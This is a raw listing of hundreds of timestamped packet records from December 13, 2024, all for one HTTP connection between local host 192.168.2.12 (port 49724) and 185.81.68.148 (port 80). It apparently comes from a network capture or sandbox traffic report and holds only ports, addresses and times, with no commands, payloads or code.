Dec 13, 2024 07:49:26.980402946 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980429888 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980453968 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980478048 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980504036 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980530024 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980551004 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980581045 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980606079 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980629921 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980657101 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980684042 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980709076 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980737925 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980753899 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980786085 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980809927 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980842113 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980865955 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980894089 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980921030 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980948925 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980972052 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.980999947 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981023073 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981050014 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981074095 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981098890 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981123924 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981149912 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981173038 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981200933 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981225014 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981255054 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981278896 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981308937 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981332064 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981362104 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981384993 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981410980 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981436014 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981466055 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981482029 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981513023 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981537104 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981563091 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981586933 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981616974 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981637001 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981667995 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981693029 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981720924 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981745005 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981770039 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981791973 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981817007 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981842041 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981868982 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981889963 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981919050 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981947899 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.981977940 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982001066 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982023954 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982052088 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982081890 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982103109 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982131958 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982156038 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982181072 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982203960 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982232094 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982250929 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982280970 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982305050 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982336998 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982361078 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982384920 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982404947 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982439041 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982465029 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982491970 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982511997 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982541084 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982563019 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982589960 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982613087 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982636929 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982661009 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982690096 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982716084 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982738972 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982760906 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982788086 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982811928 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982841015 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982856989 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982887983 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982912064 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982938051 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982959986 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.982988119 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983010054 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983037949 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983062983 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983095884 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983108044 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983138084 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983160973 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983186960 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983211040 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983237028 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983258963 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983288050 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983310938 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983338118 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983355999 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983386993 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983411074 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983438015 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983463049 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:26.983481884 CET	49724	80	192.168.2.12	185.81.68.148
Dec 13, 2024 07:49:27.088120937 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.088306904 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.088318110 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.088335991 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.088346004 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.088466883 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.088476896 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089039087 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089047909 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089066982 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089076996 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089190006 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089199066 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089207888 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089229107 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089236975 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089298010 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089307070 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089317083 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089380026 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089467049 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089477062 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089485884 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089494944 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089503050 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089917898 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089939117 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089989901 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.089998960 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090020895 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090029955 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090121031 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090131044 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090141058 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090186119 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090193987 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090234995 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090244055 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090260983 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090269089 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090307951 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090326071 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090334892 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090390921 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090399981 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090419054 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090426922 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090476990 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090486050 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090553999 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090876102 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090917110 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090926886 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090961933 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.090970993 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091012001 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091021061 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091073036 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091082096 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091090918 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091150999 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091160059 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091167927 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091180086 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091188908 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091197014 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091206074 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091273069 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091281891 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091289997 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091299057 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091579914 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091588974 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091639042 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091649055 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091656923 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091686964 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091696978 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091716051 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091777086 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091785908 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091808081 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091816902 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091840029 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091913939 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091922998 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091944933 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091953993 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.091998100 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092008114 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092294931 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092489004 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092498064 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092511892 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092515945 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092611074 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092627048 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092691898 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092709064 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092745066 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092761993 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092787981 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092813969 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092844009 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092859030 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092873096 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092885971 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092955112 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092969894 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092983007 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.092995882 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.093316078 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.093372107 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.093390942 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.093416929 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.093430996 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.093507051 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.093521118 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.093528986 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.093543053 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.093550920 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.093619108 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.093626976 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.093638897 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094027996 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094037056 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094083071 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094090939 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094094992 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094099045 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094108105 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094111919 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094177008 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094187021 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094196081 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094203949 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094571114 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094579935 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094589949 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094598055 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094607115 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094614983 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094623089 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094631910 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094640970 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094660044 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094669104 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094676971 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094685078 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094702959 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094712019 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094786882 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094795942 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094805002 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094814062 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094830990 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094839096 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094883919 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094892979 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094940901 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.094950914 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095015049 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095024109 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095077038 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095086098 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095379114 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095555067 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095562935 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095609903 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095618963 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095628023 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095647097 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095654964 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095768929 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095778942 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095799923 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095808029 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095865011 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095873117 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095881939 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.095890045 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096210003 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096219063 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096226931 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096235991 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096244097 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096251965 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096374035 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096381903 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096425056 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096432924 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096441984 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096476078 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096483946 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096585035 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096594095 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096611023 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096620083 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096674919 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096683979 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096745968 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096755028 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096762896 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096771002 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096884012 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096892118 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096901894 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.096911907 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.097354889 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.097408056 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.097417116 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.097492933 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.097501993 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.097560883 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.097569942 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.097579956 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.097588062 CET	80	49724	185.81.68.148	192.168.2.12
Dec 13, 2024 07:49:27.097615004 CET	80	49724	185.81.68.148	192.168.2.12
